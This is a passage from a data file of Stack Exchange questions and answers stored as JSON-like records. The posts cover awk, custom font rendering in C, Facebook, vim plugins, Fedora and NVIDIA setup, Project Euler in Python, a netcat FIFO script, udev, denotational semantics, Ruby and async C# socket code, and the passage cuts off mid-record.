the commands and jump to start over on the next line.f{z=z\\n$0}If we get to this command, that means that the line contains no non-zero character.  If we have seen a non-zero line, in other words if f is 1, then we append to z a newline and the current line.Example 1Consider this file:$ cat file2002.08018.4000The command produces the following output:$ awk '/[^0]/{if (z)print substr(z,2);print;z=;f=1;next} f{z=z\\n$0}' file22.08018.40Example 2Using your input file$ awk '/[^0]/{if (z)print substr(z,2);print;z=;f=1;next} f{z=z\\n$0}' file4.4021.2017.4418.242.0819.9214.5621.206.64027.0432.2465.2812.0040.8030.4830.1630.24062.566.5629.76043.8413.4417.1254.4823.5230.7229.0411.0414.565.7631.6013.6811.2017.4417.44036.5616.6432.4018.4001049.841.6863.8419.285.7628.0012.640013613.2823.281.2019.1227.2802.8836.1627.4413.6036.3220.9615.8423.1210.24.9643.608.320061.6020.0031.3632.80072.3227.049.5221.282.0844.4811.2026.4019.9218.40078.3213.0438.886.2466.644.5625.1243.204.0058.0818.402.4820.3215.7624.96028.4028.6432.726.6414.72"  } 
{  "id": "_codereview.67042"  , "question": "I have a function that converts any normal true-type font to my own font file .bffThat function works correct and am not going to post that function for that matter(the function is also only compatible with a specific engine you may not hear about).If I post the .bff file and you have an environment in which you could use putpixel(x, y) to put a pixel (for e.g a red one) on the x and y spot, then you can also test my rendering function.Let me first explain my custom compression method:I call Arlo compression vername Arlo1 with compression level over 60%. You have to understand the compression before take a look at the rendering function.Standart characters (dec 48+) to represent whitespaces.5 will represent 5 spaces and so forthAfter each space a pixel is placed. So if there is 00 it puts two pixels right next to each other if there is 20 it puts 1 pixel after 2 spaces and one pixel as a next.Important: to prevent a vertical line after each character the rendering function is made to not put pixel after the last space-representing character of the line determined (that is what causes problems - some characters needs a pixel at the end and it renders them cropped (without these last pixels) thanks to the vertical-line prevention condition.# character found in the bff means new line of the character& character found in the bff means offset for next characterCharacters are with ascii sequence, dec32-126The function:typedef unsigned char BYTE;voidbitfox_render_text(char *FONTNEX, char *STRING, int X_OFFSET, int Y_OFFSET){    FILE* fp = fopen(FONTNEX, r);    char *buffer = STRING, *font;    int fontsize, buffsize = strlen(buffer), strl;    int line = 0, linep = 0, colp = 0;    fseek(fp, EOF, SEEK_END);    fontsize = ftell(fp);    font = malloc(fontsize);    rewind(fp);    fread(font, sizeof(BYTE), fontsize, fp);    fclose(fp);    for(strl=0; strl<buffsize; strl++)    {        int chrOffset, chr = 32;        // In-line code for finding the current index of characters        for(chrOffset=0; chr != buffer[strl]; chrOffset++) { if(font[chrOffset] == '&') { chr++; }} // <--        do        {   linep++;            if            (font[chrOffset+linep] == '#') { colp++; line = 0; }            else if            (font[chrOffset+(linep+1)] != '#')  // if not NL and w/o ending supplement:            {                // there is a function that describes size and color of the brush here                putpixel(X_OFFSET+(line+=(font[chrOffset+linep]-48)+1), Y_OFFSET+colp);            }        } while(font[chrOffset+(linep+1)] != '&');    }    free(font);}The function currently reads successfully only one character passed as a string. Don't mind the arguments currently not used. Despite the fact that this function is not fully functional.. the only problem is the condition:(font[chrOffset+(linep+1)] != '#')  // if not NL and w/o ending supplementIt prevents for putting pixels at the end of each line.If i remove that condition.. there will be a vertical line at the end of each character.. if it remains, some characters that need these pixels will be rendered cropped.I will be doing constant edits to improve the level of clarification. Here is the download link of the .bff that response for the .ttf file arial.ttf size 11 Normal.Summary: The .bff file or Bitfox Font File is a custom font file, with custom compression method impiled (Arlo1). Each character from the ascii in the range of 32 to 126 in sequence is represented in raster-type where # determines there is a new line and & determines next character. To indicate where is a pixel placed, the current character's data consists of ascii characters (dec48-126) that represent whitespaces. The pixel is placed after the sapce is determined with chr-48. For the sake of the unrequired pixels prevention, the rendering function won't place pixels when the last character of the line is readed. That causes some characters to be cropped with 1 pixel at their end."  , "title": "Function for rendering custom fonts"  , "tags": "c;io;graphics"  } 
{  "id": "_webapps.88274"  , "question": "A year ago I liked page A.1 on Facebook. Today, I want to unlike it. However, A.1 has merged with A.2 and A.2 now loads when I try to visit A.1.I do not have A.2 liked (this is what displays on A.2  and A.2 does not link to A.1. I still have A.1 liked on my profile. How do I unlike A.1?"  , "title": "How do you unlike a merged page on Facebook?"  , "tags": "facebook;facebook pages"  , "accepted_answer": "I just figured out the answer to my issue. The solution is to not try to find the page that was liked, but to visit your profile likes sub-page and unlike the dangling reference from there via the dropdown element (unlike)."  } 
{  "id": "_webapps.66100"  , "question": "I used to use the Google code playground to visualize and try Google APIs samples. I found it very useful.But I can't find it anymore! Do you have any idea what happened to it and whether is has moved somewhere else?The link was https://code.google.com/apis/ajax/playgroundThe requested URL /apis/ajax/playground was not found on this server.  Thats all we know.And it looked like:"  , "title": "Where did the Google code playground go?"  , "tags": "google code;google chart api"  , "accepted_answer": "The Google Developers Chart Gallery include examples of charts and buttons with the text CODE IT YOURSELF ON JSFIDDLE, so we could say that Google Code Playground, at least in relation to the Charts API, was moved to JSFIDDLE."  } 
{  "id": "_vi.5718"  , "question": "I'm using vim-easy-align plugin and when in bash scripts I try to align $ at the beginning of variable names, the aligning adds spaces around the delimiter, i.e. <space>$<space> which of course makes those variables meaningless.Are there options or tips to temporarily or permanently disable this? for specific delimiters? That is, to allow spaces around = and other delimiters, but not the variable leaders such as $.Should I make a \\$\\w regex instead of just using the $?"  , "title": "easy-align spaces around delimiters"  , "tags": "alignment;plugin easy align"  , "accepted_answer": "FileType solution, just for reference to whoever can use it....---- Easy Align ---- {{{xmap ga <Plug>(EasyAlign)nmap ga <Plug>(EasyAlign)augroup FileType sh,perl  let g:easy_align_delimiters = {      \\ 's': {      \\     'pattern':       '\\$',      \\     'ignore_groups': ['Comment'],      \\     'left_margin':   0,      \\     'right_margin':  0,      \\     'indentation':   'shallow',      \\     'stick_to_left': 0      \\     },      \\ '=': {      \\     'pattern':       '=',      \\     'ignore_groups': ['Comment'],      \\     'left_margin':   0,      \\     'right_margin':  0,      \\     'indentation':   'deep',      \\     'stick_to_left': 0      \\     }  \\}  augroup END}}}"  } 
{  "id": "_unix.186198"  , "question": "I am installing fedora 21 server on VM.It used to boot in to text/command line interface.So I followed steps here.In the last step, when I did vi /etc/inittab, the file reads initab is no longer used So as instructed, I ran following:systemctl set-default graphical.targetbut now when I reboot it gives me blank screen with blinking cursor to which I cannot type anything."  , "title": "Not able to boot into graphical environment in fedora"  , "tags": "fedora;system installation"  } 
{  "id": "_codereview.115529"  , "question": "Problem 21:Let \\$d(n)\\$ be defined as the sum of proper divisors of \\$n\\$ (numbers less than \\$n\\$ which divide evenly into \\$n\\$).  If \\$d(a) = b\\$ and \\$d(b) = a\\$, where \\$a  b\\$, then \\$a\\$ and \\$b\\$ are an amicable pair and each of \\$a\\$ and \\$b\\$ are called amicable numbers.For example, the proper divisors of 220 are 1, 2, 4, 5, 10, 11, 20, 22, 44, 55 and 110; therefore \\$d(220) = 284\\$. The proper divisors of 284 are 1, 2, 4, 71 and 142; so \\$d(284) = 220\\$.Evaluate the sum of all the amicable numbers under 10000.Am I abusing reduce or itertools here? I'm concerned this solution could be more readable. Also, is there a more efficient solution rather than calculating everything up front?from itertools import chain, countfrom operator import muldef factorize(n):    for factor in chain((2,), count(start=3,step=2)):        if factor*factor > n:            break        exp = 0        while n % factor == 0:            exp += 1            n //= factor        if exp > 0:            yield factor, exp    if n > 1:        yield n, 1def sum_of_factors(n):        >>> sum_of_factors(220)    284    >>> sum_of_factors(284)    220        total = reduce(mul,        ((fac**(exp+1)-1)/(fac-1) for fac,exp in factorize(n)),        1)    return total - nif __name__ == '__main__':    cache = {k: sum_of_factors(k)        for k in xrange(1, 10000)    }    print sum(k for k, v in cache.iteritems()        if cache.get(v, None) == k        and v != k)"  , "title": "Project Euler 21: Sum of Amicable Numbers"  , "tags": "python;programming challenge;python 2.7"  } 
{  "id": "_webapps.67458"  , "question": "I sent an email with link to a file in my google drive.I now update my file, but Google drive create another file when I upload again. This means that the link in my sent email still points to the old file.How can the recipient of the email get the latest file from the previous link I sent? Thanks.btw, Will uploading to dropbox solve the problem?"  , "title": "How can I update a file in Google drive which I have sent in an email?"  , "tags": "google drive;dropbox"  } 
{  "id": "_unix.292277"  , "question": "Running a program in kernel mode forbids using standard C library because the only thing your program linked to is kernel itself. So I'm allowed to use functions defined in kernel. But kernel itself is a program written in C and compiled for some particular architecture. And it shouldn't use C standard library, but it also shouldn't use any drivers since drivers are loadable modules. So my question is what actual C functions are used when writing a kernel? How can you interact with hardware not through kernel? Don't say me to look at sources it's too next level for me, TY."  , "title": "How was kernel written?"  , "tags": "linux;kernel;linux kernel"  } 
{  "id": "_unix.150892"  , "question": "#!/bin/bashrm outmkfifo outnc -l 8080 < out | while read linedo    echo hello > out       echo $linedoneIf I browse to the IP of the machine this script is running on (using port 8080), I would expect to see the word 'hello' and then on the machine running the script, I would expect it to output lines from the request.However, nothing happens. The browser gets no response, and nothing is output to the server's terminal.Why doesn't it work, and what can I modify to make it work? I want to keep it to simple pipes, I don't want to use process substitution or anything like that."  , "title": "Why doesn't this piped script work?"  , "tags": "shell script;io redirection;pipe;fifo"  } 
{  "id": "_unix.27851"  , "question": "I just tried to install oh-my-zsh.  I get the following error when I try to run rvm:zsh: command not found: rvmI also get the following error when I try to open a new tab:/Users/jack/.zshrc:source:34: no such file or directory: /Users/jack/.oh-my-zsh/oh-my-zsh.sh/Users/jack/.zshrc:source:38: no such file or directory: .bashrcHere's my .zshrc file:# Path to your oh-my-zsh configuration.ZSH=$HOME/.oh-my-zsh# Set name of the theme to load.# Look in ~/.oh-my-zsh/themes/# Optionally, if you set this to random, it'll load a random theme each# time that oh-my-zsh is loaded.ZSH_THEME=robbyrussell# Example aliases# alias zshconfig=mate ~/.zshrc# alias ohmyzsh=mate ~/.oh-my-zsh# Set to this to use case-sensitive completion# CASE_SENSITIVE=true# Comment this out to disable weekly auto-update checks# DISABLE_AUTO_UPDATE=true# Uncomment following line if you want to disable colors in ls# DISABLE_LS_COLORS=true# Uncomment following line if you want to disable autosetting terminal title.# DISABLE_AUTO_TITLE=true# Uncomment following line if you want red dots to be displayed while waiting for completion# COMPLETION_WAITING_DOTS=true# Which plugins would you like to load? (plugins can be found in ~/.oh-my-zsh/plugins/*)# Custom plugins may be added to ~/.oh-my-zsh/custom/plugins/# Example format: plugins=(rails git textmate ruby lighthouse)plugins=(git bundler brew gem rvm cscairns)source $ZSH/oh-my-zsh.sh# Customize to your needs...source .bashrcexport PATH=/usr/local/bin:$PATHWhat do I need to do to fix these errors?"  , "title": "After installing oh-my-zsh: ... /.zshrc:source:34: no such file or directory ... /.oh-my-zsh/oh-my-zsh.sh"  , "tags": "bash;zsh;oh my zsh"  } 
{  "id": "_unix.144791"  , "question": "I want to execute the script on removal of usb drive. In that script I want to restart the server.Is there any way to do the same ? I know I have to modify the rules in /etc/udev/rules.d/.  "  , "title": "How to Run a script on USB removal?"  , "tags": "linux;udev;usb drive"  } 
{  "id": "_cs.43115"  , "question": "I'm doing revision for a module on programming language semantics andI'm having trouble understanding the introduction of side-effects inexpressions.We assume a standard syntax for arithmetic expression, with the fourusual operations, plus the unary prefix and postfix operator$\\texttt{++}$, defined as in language C, applicable to variables onlyas in $\\texttt{V++}$, and assigment statement $\\texttt{V:=E}$.We have seen how to define the denotation function$[\\![\\texttt{E}]\\!]_{\\mathrm{Exp}}$ when we have to evaluate anexpression $\\texttt{E}$ without side-effect, to return a valueresulting from that evaluation.In order to give a denotational semantics for expressions with side-effects, we need to change the type of the denotation function $[\\![\\texttt{E}]\\!]_{\\mathrm{Exp}}$ for expressions $\\texttt{E}$, so that it returns both the value of the expression and the state as modified by the side-effects. I.e., we want to define a denotation function$[\\![\\texttt{E}]\\!]_{\\mathrm{Exp}} : State  IntState$by induction on the form of expressions $\\texttt{E}$. For example, in the case $\\texttt{E}$ has the form $\\texttt{E1+E2}$, we define:$[\\![\\texttt{E1+E2}]\\!]_{\\mathrm{Exp}}(S) = (n_1 + n_2, S_2)$where $(n_1, S_1) = [\\![\\texttt{E1}]\\!]_{\\mathrm{Exp}}(S)$and $(n_2, S_2) = [\\![\\texttt{E2}]\\!]_{\\mathrm{Exp}}(S_1)$This says first evaluate the leftmost expression $\\texttt{E1}$, giving the integer value $n_1$ and updated state $S_1$, then evaluate $\\texttt{E2}$ in that updated state, giving the integer value $n_2$ and updated state $S_2$; the value of the expression is $n_1 + n_2$, and evaluation has the side effect of updating the state to $S_2$.However this does not show when side effects actually take place, and I do not know how to write the denotation function for expressions that do produce side-effects. Can you tell me how to complete the inductive definition of $[\\![\\texttt{E}]\\!]_{\\mathrm{Exp}}$, including the case where $\\texttt{E}$ is of the form  $\\texttt{V++}$?Then, how should one change the definition of the denotation function $[\\![\\texttt{V:=E}]\\!]_{\\mathrm{Pgm}}$ for the assignment statement, to take account of the changes in the definition of $[\\![\\texttt{E}]\\!]_{\\mathrm{Exp}}$, which it necessarily uses?Are there other changes that would need to be made to the denotational semantics of the language? "  , "title": "Denotational semantics of expressions with side effects"  , "tags": "programming languages;semantics;imperative programming;denotational semantics"  } 
{  "id": "_softwareengineering.157825"  , "question": "We already have a fully operational web service which caters requests from multiple paltform devices. Each device sends only one request at a time and immediately after a response for the request the device sends an applicative ACK, this ack message is like a regular request message, and it's all via http.During a performance/load test we discovered that the following situation happens alot: regular requests gets processed ok but when the ack message is sent, it is thrown because the server can't handle too many requests.We accept the case that the server throws requests because of overload, but we do not accept throwing ack messages.So essentially we want the server to process 2 requests at a time for each device, is there anyway to do it in the current situation?if not, what kind of changes do we need to do?"  , "title": "Designing a 3-phase commit web service"  , "tags": ".net;web services;wcf"  } 
{  "id": "_codereview.132896"  , "question": "Below is a Ruby implementation of a random statistical event, based on a hash with the actual observed counts of outcomes.I'd be interested in feedback in particular on what techniques I might use to avoid a loop-based accumulator in the RandomEvent#predict! method. I'm also very curious as well about any other suggestions on refactoring, patterns and performance that might be applicable here. The statistics material itself might be somewhat beyond the scope of a review but I'd appreciate any thoughts on appropriate naming and more effective (deterministic) ways to test this.Specinclude Statisticsdescribe RandomEvent do  context 'when an event has only one outcome' do    it 'always happens' do      expect(RandomEvent.from_hash(always: 1).predict!).to eq(:always)    end  end  context 'when the event has multiple outcomes' do    let(:trials) { 10_000 }    subject(:event) do      RandomEvent.from_hash(heads: 51, tails: 49)    end    it 'should distribute them' do      coinflips = trials.times.map { event.predict! }      heads_variance = (coinflips.count(:heads) - trials/2).abs      tails_variance = (coinflips.count(:tails) - trials/2).abs      expected_variance = trials/10      expect(heads_variance).to be < expected_variance      expect(tails_variance).to be < expected_variance    end  endendImplementationclass RandomEvent  def initialize    @outcome_counts = {}  end  def add_outcome(outcome, count:)    @outcome_counts[outcome] = count  end  def normalized_outcome_probabilities    total_outcome_counts = @outcome_counts.values.reduce(&:+)    @outcome_counts.inject({}) do |hash,(outcome,count)|      hash[outcome] = count / total_outcome_counts.to_f      hash    end  end  def predict!    acc = 0.0    roll = rand    selected_outcome = nil    normalized_outcome_probabilities.each do |outcome, probability|      acc += probability      if acc > roll        selected_outcome = outcome        break      end    end    selected_outcome  end  def self.from_hash(outcome_counts_hash)    event = new    outcome_counts_hash.each do |outcome, count|      event.add_outcome(outcome, count: count)    end    event  endend"  , "title": "Random distribution in Ruby"  , "tags": "object oriented;ruby;unit testing;random;statistics"  , "accepted_answer": "First thing, it looks like RandomEvent.from_hash implements features of initialize method.acc variable at RandomEvent#predict can be easily moved to inject iterator.Code:class RandomEvent  def initialize(outcome_counts = {})    @outcome_counts = outcome_counts  end  def add_outcome(outcome, count)    @outcome_counts[outcome] = count  end  def normalized_outcome_probabilities    total_outcome_counts = @outcome_counts.values.reduce(:+).to_f    @outcome_counts.map { |outcome, count| [outcome, count / total_outcome_counts] }.to_h  end  def predict!    roll = rand    normalized_outcome_probabilities.inject(0.0) do |acc, (outcome, probability)|      break outcome if (acc += probability) > roll      acc    end  endendNow instead of RandomEvent.from_hash(heads: 51, tails: 49) you can write RandomEvent.new(heads: 51, tails: 49)"  } 
{  "id": "_unix.104928"  , "question": "I have followed the following steps to get Optimus/Bumblebee configuration running on Fedora 20 (fresh basic installation) on my brand new laptop (based on msi barebone MS-16GC).I have listed all steps, very similar to this linkThe end result has x not booting, I can boot to a terminal. I feel I am stuck at the last step, please help:These are the steps I have taken1) My BIOS does not support switching on/off the nvidia card2) Fedora 20 was installed from live cd - kernel/software updated - kernel-devel and kernel-headers are installed, along with gcc-c++ and lshw. NVIDIA display driver version 331.20 is downloaded, but not installed yet. 3) Subsequent current kernel: 3.11.10-301.fc20.x86_644) lspci gives two devices of intrest00:02.0 VGA compatible controller: Intel Corporation 4th Gen Core Processor Integrated Graphics Controller (rev 06)01:00.0 3D controller: NVIDIA Corporation GK106M [GeForce GTX 765M] (rev a1)lshw shows that the NVIDIA card uses nouveau *-display        description: 3D controller        product: GK106M [GeForce GTX 765M]        vendor: NVIDIA Corporation        physical id: 0        bus info: pci@0000:01:00.0        version: a1        width: 64 bits        clock: 33MHz        capabilities: bus_master cap_list rom        configuration: driver=nouveau latency=0        resources: irq:16 memory:f6000000-f6ffffff memory:c0000000-cfffffff memory:d0000000-d1ffffff ioport:e000(size=128) memory:f7000000-f707ffff*-display     description: VGA compatible controller     product: 4th Gen Core Processor Integrated Graphics Controller     vendor: Intel Corporation     physical id: 2     bus info: pci@0000:00:02.0     version: 06     width: 64 bits     clock: 33MHz     capabilities: vga_controller bus_master cap_list rom     configuration: driver=i915 latency=0     resources: irq:43 memory:f7400000-f77fffff memory:b0000000-bfffffff ioport:f000(size=64)In preperation of driver NVIDIA driver install5) blacklist nouveau, by creating a file blacklist.conf in /etc/modprobe.d/ with the line `blacklist nouveauRebootmv /boot/initramfs-$(uname -r).img /boot/initramfs-$(uname -r)-nouveau.imgdracut /boot/initramfs-$(uname -r).img $(uname -r)RebootAnd in /etc/default/grubI added rdblacklist=nouveau to GRUB_CMDLINE_LINUXFollowed by the grub2-mkconfig > /boot/grub2/grub.cfg commandReboot the computer (just to be sure)lshw now outputs the following - no sign of nouveau is disabled - device is UNCLAIMED. *-display UNCLAIMED                description: 3D controller                product: GK106M [GeForce GTX 765M]                vendor: NVIDIA Corporation                physical id: 0                bus info: pci@0000:01:00.0                version: a1                width: 64 bits                clock: 33MHz                capabilities: bus_master cap_list                configuration: latency=0                resources: memory:f6000000-f6ffffff memory:c0000000-cfffffff memory:d0000000-d1ffffff ioport:e000(size=128) memory:f7000000-f707ffff *-display             description: VGA compatible controller             product: 4th Gen Core Processor Integrated Graphics Controller             vendor: Intel Corporation             physical id: 2             bus info: pci@0000:00:02.0             version: 06             width: 64 bits             clock: 33MHz             capabilities: vga_controller bus_master cap_list rom             configuration: driver=i915 latency=0             resources: irq:43 memory:f7400000-f77fffff memory:b0000000-bfffffff ioport:f000(size=64)6) Next I create a file in my home directory called .xinitrc containing following linesxrandr --setprovideroutputsource modesetting NVIDIA-0xrandr --autoexec gnome-session7) Then I create a file in /etc/X11 called xorg.conf2containing following dataSection ServerLayout    Identifier layout    Screen 0 nvidia    Inactive intelEndSectionSection Device    Identifier intel    Driver intelEndSectionSection Screen    Identifier intel    Device intelEndSectionSection Device    Option ConstrainCursor no    Identifier nvidia    Driver nvidia    BusID PCI:1:0:0EndSectionSection Screen    Identifier nvidia    Device nvidia#Comment to output using hdmi cable   Option UseDisplayDevice noneEndSection8) Time to install the drivers/* I get stuck here */Type chmod +x NVIDIA*And then ./NVIDIA*Next I move  xorg.conf2 to xorg.confThis installs fine,but when rebooting all I get is a black screen,I can log in to ttylwhen I type startx from command line same problem, just black screen.Please help!"  , "title": "Need help installing NVIDIA graphics driver for Optimus configuration"  , "tags": "linux;fedora;graphics;nvidia"  } 
{  "id": "_softwareengineering.253705"  , "question": "I have a design and am wondering what the appropriate way to access variables is. I'll demonstrate with this example since I can't seem to describe it better than the title.Term is an object representing a bunch of time data (a repeating duration of time defined by a bunch of attributes)Term has some print functionality but does not implement the print functions itself, rather they are passed in as anonymous functions by the parent. This would be similar to how shaders can be passed to a renderer rather than defined by the renderer.A container (let's call it Box) has a Schedule object that can understand and use Term objects.Box  creates Term objects and passes them to Schedule as required. Box also defines the print functions stored in Term.A print function usually takes an argument and uses it to return a string based on that argument and Term's internal data. Sometime the print function could also use data stored in Schedule, though. I'm calling this data shared.So, the question is, what is the best way to access this shared data. I have a lot of options since JS has closures and I'm not familiar enough to know if I should be using them or avoiding them in this case.Options:  Create a local reference (term used lightly) to the shared data (data is not a primitive) when defining the print function by accessing the shared data through Schedule from Box. Example:var schedule = function(){    var sched = Schedule();    var t1 = Term( function(x){   // Term.print()                       return  (x + sched.data).format();                 });};Bind it to Term explicitly. (Pass it in Term's constructor or something). Or bind it in Sched after Box passes it. And then access it as an attribute of Term.Pass it in at the same time x is passed to the print function, (from sched). This is the most familiar way for my but it doesn't feel right given JS's closure ability.Do something weird like bind some context and arguments to print.I'm hoping the correct answer isn't purely subjective. If it is, then I guess the answer is just do whatever works. But I feel like there are some significant differences between the approaches that could have a large impact when stretched beyond my small example.EditI'll post the solution I'm using but I'd still welcome criticism:All print functions take, as arguments, anything term doesn't own. This way, term is not coupled to schedule in any way (obviously schedule is still dependent on term, though). This allows term to be initialized/constructed anywhere without needing knowledge of schedule.So, if term had an init() function it might take an object that looks something like this:{    inc: moment.duration(1,d),    periods: 3,    class: long,    text:Weekly,    pRange: moment.duration(7,'d'),    //*...other attr*//    printInc: function(increments,period){        return moment(this.start).add(this.inc.product(increments)              .add(this.startGap))              .add(this.pRange.product(period))              .format(DATEDISPLAYFORMAT);    },    printLabel: function(datetime){        return (datetime).format(DATEDISPLAYFORMAT);    }}Where increment, period, datetime would all be passed from whatever is using term's print methods (schedule in this case)."  , "title": "JS closures - Passing a function to a child, how should the shared object be accessed"  , "tags": "design;object oriented;javascript;closures"  } 
{  "id": "_unix.297274"  , "question": "I understand how ionice can help you when you have multiple processes requesting access to the same disk resources, but how does it work when you have multiple disks?For example, you have one rsync operation moving data from Drive A -> Drive B, and another rsync moving data from Drive C -> Drive D. In theory, since they are not competing for resources, ionice'ing one of these rsync processes shouldn't change its throughput. Is this how it works, or will it still impact performance?Additionally, is there some upper limit on total I/O one might experience on a linux system that is independent of drive speed? Like if you hooked up 100 SSD drives, at some point would the OS run into a bottleneck aside from drive speed?"  , "title": "How does ionice work with multiple drives?"  , "tags": "filesystems;performance;priority;ionice"  , "accepted_answer": "On Linux, drives are scheduled independently from each other. You can even set the IO scheduling algorithm to be different for different drives on the same system, by writing to /sys/block/<device>/queue/iosched. The bandwidth between memory and the disks can indeed become a bottleneck. This is why hardware RAID makes sense: the data is sent to the RAID controller once, as opposed to each disk separately. You can also increase this bandwidth by attaching those 100 SSDs to more than one computer, distributing the load between them.I'm not sure how the IO scheduler takes this into account, but I don't think it does."  } 
{  "id": "_unix.362390"  , "question": "How do  i get terminal like this in kali linux.I searched for long but couldn't find anything relevant."  , "title": "Colored arrow in Bash prompt"  , "tags": "bash;terminal;gnome;prompt"  } 
{  "id": "_codereview.173643"  , "question": "I am creating a server client app where after the connection is done, the server and client will send packages back and forward. The Stream can be a NetworkStream or SslStream.I have created a Async ReadContinuously method and it seems to work, but I do not trust my own knowledge about Async yet. Can you guys tell me I am on the right track or not?Client:        private async void ListenToServer()        {            bool exitbyerror = false;            //            Queue<TestServerDataPacket> queue = new Queue<TestServerDataPacket>();            try            {                await Task.Run(() =>                {                    // After this a Queue Reader must be created                    _packetReader.ReadContinuously(_netStream, _connection.ReceiveBufferSize, queue);                    // For Testing                    while (_connection?.Connected == true)                    {                        //                        Console.WriteLine(Client: ({0}) Packets in queue., queue.Count);                        // For Testing                         Thread.Sleep(2000);                    }                });            }            catch            {                exitbyerror = true;            }            //            if (exitbyerror)            {                //            }        }PacketReader:        private bool _readContinuously;        public void ReadContinuously(Stream s, int bufferSize, Queue<TestServerDataPacket> packetQueue)        {            try            {                if (s == null)                {                    throw new ArgumentNullException(Stream can not be null!);                }                if (packetQueue == null)                {                    throw new ArgumentNullException(Queue<TestServerDataPacket> can not be null!);                }                //                _readContinuously = true;                //                DoReadContinuously(s, bufferSize, packetQueue);            }            catch            {                throw;            }        }        private async void DoReadContinuously(Stream s, int bufferSize, Queue<TestServerDataPacket> packetQueue)        {            //            byte[] buffer = new byte[bufferSize];            //            TestServerDataPacket packet;            try            {                // Read Packet Length = 4 bytes                int bytesReceived = 0;                while (bytesReceived < 4)                {                    //                    int byteread = await s.ReadAsync(buffer, bytesReceived, 4 - bytesReceived);                    //                    if (byteread == 0)                    {                        // 0 bytes read = end of stream / disconnected                        throw new Exception(Connection Closed!);                    }                    //                    bytesReceived += byteread;                }                bytesReceived = 0;                // Get Packet Size                int packetSize = BitConverter.ToInt32(buffer, 0);                // Create Packet Byte Array                byte[] packetbytes;                // Read Data                using (MemoryStream memoryStream = new MemoryStream())                {                    // Read Data                    while (bytesReceived < packetSize)                    {                        // Adjust Buffer size to catch only the packet and nothing else                        if (buffer.Length > (packetSize - bytesReceived))                        {                            buffer = new byte[(packetSize - bytesReceived)];                        }                        //                        int count;                        if ((count = await s.ReadAsync(buffer, 0, buffer.Length)) > 0)                        {                            // Save Data                            memoryStream.Write(buffer, 0, buffer.Length);                            // Count                            bytesReceived += count;                        }                    }                    // Get Packet Bytes Array                    packetbytes = memoryStream.GetBuffer();                }                // Create Packet                DeserializeData(packetbytes, out packet);            }            catch            {                throw;            }            //            if (packet != null)            {                packetQueue.Enqueue(packet);            }            //            if (_readContinuously)            {                DoReadContinuously(s, bufferSize, packetQueue);            }        }Working test server:namespace TestServer{   public class Program    {        static void Main(string[] args)        {            TestServer server = new TestServer();            TestClient client = new TestClient();            Console.ReadLine();        }    }    public class TestServer    {        private readonly TcpListener _listener;        public TestServer()        {            IPEndPoint localEndPoint = new IPEndPoint(IPAddress.Any, 45654);            _listener = new TcpListener(localEndPoint);            _listener.Start(100);            AcceptConnections();        }        private async void AcceptConnections()        {            await Task.Run(async () =>            {                try                {                    Socket s = await _listener.AcceptSocketAsync();                    if (s != null)                    {                        Console.WriteLine(Server: Client Connected);                        TestServerConnection c = new TestServerConnection(s);                    }                }                catch                {                    //                }            });        }    }    public class TestServerConnection    {        private readonly Socket _connection;        private readonly TestPacketSender _packetSender;        public TestServerConnection(Socket s)        {            _connection = s;            _packetSender = new TestPacketSender(new NetworkStream(s, FileAccess.ReadWrite));            Task.Factory.StartNew(ListenToClient);        }        private async Task ListenToClient()        {            bool exitbyerror = false;            try            {                await Task.Run(() =>                {                    while (_connection?.Connected == true)                    {                        Thread.Sleep(10000);                        Console.WriteLine(Server: Sending Hi);                        _packetSender.Send(new TestServerDataPacket(2000)); // Int 2000 is Hi                    }                });            }            catch            {                exitbyerror = true;            }            //            if (exitbyerror)            {                //            }        }    }    public class TestClient    {        private readonly Socket _connection;        private NetworkStream _netStream;        private TestPacketReader _packetReader;        public TestClient()        {            _packetReader = new TestPacketReader();            IPEndPoint remoteEndPoint = new IPEndPoint(IPAddress.Parse(127.0.0.1), 45654);            // Create a TCP/IP socket.              _connection = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)            {                ReceiveBufferSize = (8 * 1024),                SendBufferSize = (8 * 1024),                NoDelay = true            };            // Connect to the remote endpoint.              _connection.Connect(remoteEndPoint);            _netStream = new NetworkStream(_connection, FileAccess.ReadWrite);            Console.WriteLine(Client: Connected to server.);            Task.Factory.StartNew(ListenToServer);        }        private async void ListenToServer()        {            bool exitbyerror = false;            //            Queue<TestServerDataPacket> queue = new Queue<TestServerDataPacket>();            try            {                await Task.Run(() =>                {                    // After this a Queue Reader must be created                    _packetReader.ReadContinuously(_netStream, _connection.ReceiveBufferSize, queue);                    // For Testing                    while (_connection?.Connected == true)                    {                        //                        Console.WriteLine(Client: ({0}) Packets in queue., queue.Count);                        // For Testing                         Thread.Sleep(2000);                    }                });            }            catch            {                exitbyerror = true;            }            //            if (exitbyerror)            {                //            }        }    }    public class TestPacketSender    {        //        private readonly Stream _stream;        private readonly object _writingToStream = new object();        //        public TestPacketSender(Stream stream)        {            _stream = stream;        }        //        public bool Send(TestServerDataPacket packet)        {            if (_stream == null)            {                throw new ArgumentNullException(Stream can not be null);            }            if (packet == null)            {                throw new ArgumentNullException(TestServerDataPacket can not be null!);            }            //            lock (_writingToStream)            {                return SendToStream(_stream, packet);            }        }        private bool SendToStream(Stream s, TestServerDataPacket packet)        {            try            {                // Byte Array containing Packet Size and Packet                byte[] buffer;                // Fill buffer (Packet Size + Packet Content)                SerializeData(packet, out buffer);                // Write Packet to the Stream                s.Write(buffer, 0, buffer.Length);                s.Flush();                //                return true;            }            catch            {                //                return false;            }        }        //        private void SerializeData(TestServerDataPacket packet, out byte[] buffer)        {            if (packet == null)            {                buffer = new byte[0];                return;            }            byte[] packetbytes;            BinaryFormatter formatter = new BinaryFormatter();            using (MemoryStream ms = new MemoryStream())            {                //                formatter.Serialize(ms, packet);                //                packetbytes = ms.ToArray();            }            //            buffer = CreatePacket(packetbytes);        }        private byte[] CreatePacket(byte[] packetbytes)        {            // Get the packet length            byte[] lengthPrefix = BitConverter.GetBytes(packetbytes.Length);            //             byte[] totalpacket = new byte[lengthPrefix.Length + packetbytes.Length];            // Combine the packet length and the packet data            lengthPrefix.CopyTo(totalpacket, 0);            packetbytes.CopyTo(totalpacket, lengthPrefix.Length);            //            return totalpacket;        }    }    public class TestPacketReader    {        private bool _readContinuously;        public void ReadContinuously(Stream s, int bufferSize, Queue<TestServerDataPacket> packetQueue)        {            try            {                if (s == null)                {                    throw new ArgumentNullException(Stream can not be null!);                }                if (packetQueue == null)                {                    throw new ArgumentNullException(Queue<TestServerDataPacket> can not be null!);                }                //                _readContinuously = true;                //                DoReadContinuously(s, bufferSize, packetQueue);            }            catch            {                throw;            }        }        private async void DoReadContinuously(Stream s, int bufferSize, 